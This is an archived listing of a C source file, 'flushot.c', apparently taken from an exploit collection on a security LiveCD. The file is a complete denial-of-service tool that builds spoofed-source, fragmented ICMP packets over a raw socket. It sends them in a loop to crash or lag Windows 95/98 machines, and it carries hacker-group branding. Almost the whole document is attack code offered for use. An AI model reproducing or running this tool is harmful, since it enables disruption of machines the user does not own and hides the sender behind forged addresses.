home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / flushot.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  175 lines

  1. /* Lags CPU Made By DarkShadow from The flu Hacking Group
  2.    Kills Win95-98 machines
  3.  
  4.    http://www.angelfire.com/ar/WarzonE/flu.html
  5.  */
  6. #include <stdio.h>
  7. #include <unistd.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include <sys/types.h>
  11. #include <sys/time.h>
  12. #include <sys/socket.h>
  13. #include <netdb.h>
  14. #include <netinet/in.h>
  15. #include <netinet/ip.h>
  16. #include <netinet/ip_icmp.h>
  17. void banner(void)
  18. {
  19.  
  20.   printf("Remote Flushot v 1.0\n\n");
  21.   printf("\n\n");
  22. }
  23. void usage(const char *progname)
  24. {
  25.   printf(" usage:\n");
  26.   printf("./flushot [Spoofed IP] [Destination IP] [# of FLushot to Send]\n",progname);
  27.   printf(" [Spoofed IP] :  ex: 205.56.78.0\n");
  28.   printf(" [Destination IP] :  ex: 201.12.3.76\n");
  29.   printf(" [# of FLushot to Send]  : 100\n");
  30.   printf("The Flu Hacking Group (c)\n");
  31.   printf("DarkShadow PlimoMan Hack The Planet\n");
  32. }
  33. int resolve( const char *name, unsigned int port, struct sockaddr_in *addr )
  34. {
  35.   struct hostent *host;
  36.   memset(addr,0,sizeof(struct sockaddr_in));
  37.   addr->sin_family = AF_INET;
  38.   addr->sin_addr.s_addr = inet_addr(name);
  39.   if (addr->sin_addr.s_addr == -1)
  40.     {
  41.       if (( host = gethostbyname(name) ) == NULL )
  42.         {
  43.           fprintf(stderr,"ERROR: Unable to resolve host %s\n",name);
  44.           return(-1);
  45.         }
  46.       addr->sin_family = host->h_addrtype;
  47.       memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
  48.     }
  49.   addr->sin_port = htons(port);
  50.   return(0);
  51. }
  52. unsigned short in_cksum(addr, len)
  53. u_short *addr;
  54. int len;
  55. {
  56.   register int nleft = len;
  57.   register u_short *w = addr;
  58.   register int sum = 0;
  59.   u_short answer = 0;
  60.  
  61.   while (nleft > 1)
  62.     {
  63.       sum += *w++;
  64.       nleft -= 2;
  65.     }
  66.  
  67.   if (nleft == 1)
  68.     {
  69.       *(u_char *)(&answer) = *(u_char *)w ;
  70.       sum += answer;
  71.     }
  72.  
  73.   sum = (sum >> 16) + (sum & 0xffff);
  74.   sum += (sum >> 16);
  75.   answer = ~sum;
  76.   return(answer);
  77. }
  78. int send_winbomb(int socket,
  79.                  unsigned long spoof_addr,
  80.                  struct sockaddr_in *dest_addr)
  81. {
  82.   unsigned char  *packet;
  83.   struct iphdr   *ip;
  84.   struct icmphdr *icmp;
  85.   int rc;
  86.  
  87.   packet = (unsigned char *)malloc(sizeof(struct iphdr) +
  88.                                    sizeof(struct icmphdr) + 8);
  89.   ip = (struct iphdr *)packet;
  90.   icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
  91.   memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
  92.   ip->ihl      = 5;
  93.   ip->version  = 4;
  94.   // ip->tos      = 2;
  95.   ip->id       = htons(1234);
  96.   ip->frag_off |= htons(0x2000);
  97.   // ip->tot_len  = 0;
  98.   ip->ttl      = 30;
  99.   ip->protocol = IPPROTO_ICMP;
  100.   ip->saddr    = spoof_addr;
  101.   ip->daddr    = dest_addr->sin_addr.s_addr;
  102.   ip->check    = in_cksum(ip, sizeof(struct iphdr));
  103.  
  104.   icmp->type              = 12;
  105.   icmp->code              = 0;
  106.   icmp->checksum          = in_cksum(icmp,sizeof(struct icmphdr) + 1);
  107.   if (sendto(socket,
  108.              packet,
  109.              sizeof(struct iphdr) +
  110.              sizeof(struct icmphdr) + 1,0,
  111.              (struct sockaddr *)dest_addr,
  112.              sizeof(struct sockaddr)) == -1)
  113.     {
  114.       return(-1);
  115.     }
  116.   ip->tot_len  = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
  117.   ip->frag_off = htons(8 >> 3);
  118.   ip->frag_off |= htons(0x2000);
  119.   ip->check    = in_cksum(ip, sizeof(struct iphdr));
  120.   icmp->type = 0;
  121.   icmp->code = 0;
  122.   icmp->checksum = 0;
  123.   if (sendto(socket,
  124.              packet,
  125.              sizeof(struct iphdr) +
  126.              sizeof(struct icmphdr) + 8,0,
  127.              (struct sockaddr *)dest_addr,
  128.              sizeof(struct sockaddr)) == -1)
  129.     {
  130.       return(-1);
  131.     }
  132.   free(packet);
  133.   return(0);
  134. }
  135. int main(int argc, char * *argv)
  136. {
  137.   struct sockaddr_in dest_addr;
  138.   unsigned int i,sock;
  139.   unsigned long src_addr;
  140.   banner();
  141.   if ((argc != 4))
  142.     {
  143.       usage(argv[0]);
  144.       return(-1);
  145.     }
  146.  
  147.   if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  148.     {
  149.       fprintf(stderr,"ERROR: Opening raw socket.\n");
  150.       return(-1);
  151.     }
  152.  
  153.   if (resolve(argv[1],0,&dest_addr) == -1)
  154.     {
  155.       return(-1);
  156.     }
  157.   src_addr = dest_addr.sin_addr.s_addr;
  158.   if (resolve(argv[2],0,&dest_addr) == -1)
  159.     {
  160.       return(-1);
  161.     }
  162.   printf("Status: Connected....packets sent.\n",argv[0]);
  163.   for (i = 0;i < atoi(argv[3]);i++)
  164.     {
  165.       if (send_winbomb(sock,
  166.                        src_addr,
  167.                        &dest_addr) == -1)
  168.         {
  169.           fprintf(stderr,"ERROR: Unable to Connect To luser.\n");
  170.           return(-1);
  171.         }
  172.       usleep(10000);
  173.     }
  174. }
  175.